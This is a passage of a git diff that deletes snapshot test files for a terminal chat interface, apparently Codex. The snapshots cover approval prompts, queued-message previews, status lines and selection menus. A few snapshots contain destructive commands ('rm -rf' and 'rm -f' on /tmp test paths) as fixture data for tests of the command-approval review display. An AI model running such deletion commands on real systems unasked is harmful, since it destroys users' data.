a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: "render_lines_with_width(&view, 24)" ---- - - Debug - -› 1. Item 1 - xxxxxxxxx - x - 2. Item 2 - xxxxxxxxx - x - 3. Item 3 - xxxxxxxxx - x diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap deleted file mode 100644 index e319299561..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: render_lines(&view) ---- - - Select Approval Mode - Switch between Codex approval presets - -› 1. Read Only (current) Codex can read files - 2. Full Access Codex can edit files - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap deleted file mode 100644 index 71af62746b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/list_selection_view.rs -expression: render_lines(&view) ---- - - Select Approval Mode - -› 1. Read Only (current) Codex can read files - 2. Full Access Codex can edit files - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap deleted file mode 100644 index 2c69981aa1..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 - Allow Calendar to create an event - - Calendar: primary - Title: Roadmap review - Notes: This is a deliberately long note that should truncate bef... - - › 1. Allow Run the tool and continue. - 2. Cancel Cancel this tool call - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap deleted file mode 100644 index 3d927a3751..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 - Allow this request? - › 1. Allow Run the tool and continue. - 2. Allow for this session Run the tool and remember this choice for this session. - 3. Always allow Run the tool and remember this choice for future tool calls. - 4. Cancel Cancel this tool call - - - - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap deleted file mode 100644 index 4a9a814d39..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 - Allow this request? - › 1. Allow Run the tool and continue. - 2. Cancel Cancel this tool call - - - - - - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap deleted file mode 100644 index 45b4042f6a..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mcp_server_elicitation.rs -expression: "render_snapshot(&overlay, Rect::new(0, 0, 120, 16))" ---- - - Field 1/1 (1 required unanswered) - Allow this request? - - Confirm - Approve the pending action. - › 1. True - 2. False - - - - - - - enter to submit | esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap deleted file mode 100644 index 3dac348876..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 6 }, - content: [ - "• Queued follow-up messages ", - " ↳ This is ", - " a message ", - " with many ", - " … ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 11, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 13, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 13, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 5, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap deleted file mode 100644 index 8d5f613540..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap +++ /dev/null @@ -1,33 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 6 }, - content: [ - "• Queued follow-up messages ", - " ↳ Hello, world! ", - " ↳ This is another message ", - " ↳ This is a third message ", - " ↳ This is a fourth message ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 17, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 28, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap deleted file mode 100644 index 1da9caed3a..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap +++ /dev/null @@ -1,29 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 48, height: 6 }, - content: [ - "• Messages to be submitted after next tool call ", - " (press esc to interrupt and send immediately) ", - " ↳ First line ", - " Second line ", - " Third line ", - " … ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 47, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 14, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 15, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 14, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 5, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap deleted file mode 100644 index 57cc5e14ca..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 3 }, - content: [ - "• Queued follow-up messages ", - " ↳ Hello, world! ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 17, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap deleted file mode 100644 index d4ab100ceb..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 48, height: 3 }, - content: [ - "• Messages to be submitted after next tool call ", - " (press esc to interrupt and send immediately) ", - " ↳ Please continue. ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 47, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 20, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap deleted file mode 100644 index 680ed3ba06..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap +++ /dev/null @@ -1,25 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 4 }, - content: [ - "• Queued follow-up messages ", - " ↳ Hello, world! ", - " ↳ This is another message ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 17, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap deleted file mode 100644 index fb80ede9bc..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap +++ /dev/null @@ -1,28 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 5 }, - content: [ - "• Queued follow-up messages ", - " ↳ This is a longer message that should", - " be wrapped ", - " ↳ This is another message ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 14, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap deleted file mode 100644 index 4bf1b332f9..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/skills_toggle_view.rs -expression: "render_lines(&view, 72)" ---- - - Enable/Disable Skills - Turn skills on or off. Your changes are saved automatically. - - Type to search skills - > -› [x] Repo Scout Summarize the repo layout - [ ] Changelog Writer Draft release notes - - Press space or enter to toggle; esc to close diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap deleted file mode 100644 index e064b42d23..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/status_line_setup.rs -expression: "render_lines(&view, 72)" ---- - - Configure Status Line - Select which items to display in the status line. - - Type to search - > -› [x] model-name Current model name - [x] current-dir Current working directory - [x] git-branch Current Git branch (omitted when unavaila… - [ ] model-with-reasoning Current model name with reasoning level - [ ] project-root Project root directory (omitted when unav… - [ ] context-remaining Percentage of context window remaining (o… - [ ] context-used Percentage of context window used (omitte… - [ ] five-hour-limit Remaining usage on 5-hour usage limit (om… - - gpt-5-codex · ~/codex-rs · jif/statusline-preview - Use ↑↓ to navigate, ←→ to move, space to select, enter to confirm, esc diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap deleted file mode 100644 index baac4556b0..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Queued follow-up messages - ↳ Queued follow-up question - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap deleted file mode 100644 index 643b2780db..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interr… - - -› Ask Codex to do anything - - 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap deleted file mode 100644 index 542c82d360..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interrupt) - -• Queued follow-up messages - ↳ Queued follow-up question - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap deleted file mode 100644 index c760365063..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interrupt) - - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap deleted file mode 100644 index 13d6656be3..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interrupt) - └ First detail line - Second detail line - -• Queued follow-up messages - ↳ Queued follow-up question - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap deleted file mode 100644 index 45d36a9a1b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/unified_exec_footer.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 50, height: 1 }, - content: [ - " 123 background terminals running · /ps to view ·", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap deleted file mode 100644 index db77b23f32..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/unified_exec_footer.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 50, height: 1 }, - content: [ - " 1 background terminal running · /ps to view · /s", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap deleted file mode 100644 index e75302e5c2..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -expression: before ---- - Apps - Loading installed and available apps... - -› 1. Loading apps... This updates when the full list is ready. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap deleted file mode 100644 index ed8c4c90f4..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -assertion_line: 9237 -expression: term.backend().vt100().screen().contents() ---- - - - - - -✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this - time - - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap deleted file mode 100644 index f6ff8c066c..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -assertion_line: 9336 -expression: rendered ---- -• Reviewing 2 approval requests (0s • esc to interrupt) - └ • rm -rf '/tmp/guardian target 1' - • rm -rf '/tmp/guardian target 2' - - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap deleted file mode 100644 index 79c08c42ed..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap +++ /dev/null @@ -1,22 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- - - - - - - - - - -• Working (0s • esc to interrupt) - -• Queued follow-up messages - ↳ Queued while /review is running. - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap deleted file mode 100644 index 94697e23d6..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&approved_lines) ---- -• Added foo.txt (+1 -0) - 1 +hello diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap deleted file mode 100644 index cbaf083d52..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend().vt100().screen().contents() ---- - - - Would you like to run the following command? - - Reason: this is a test reason such as one that would be produced by the model - - $ echo hello world - -› 1. Yes, proceed (y) - 2. Yes, and don't ask again for commands that start with `echo hello world` (p) - 3. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git 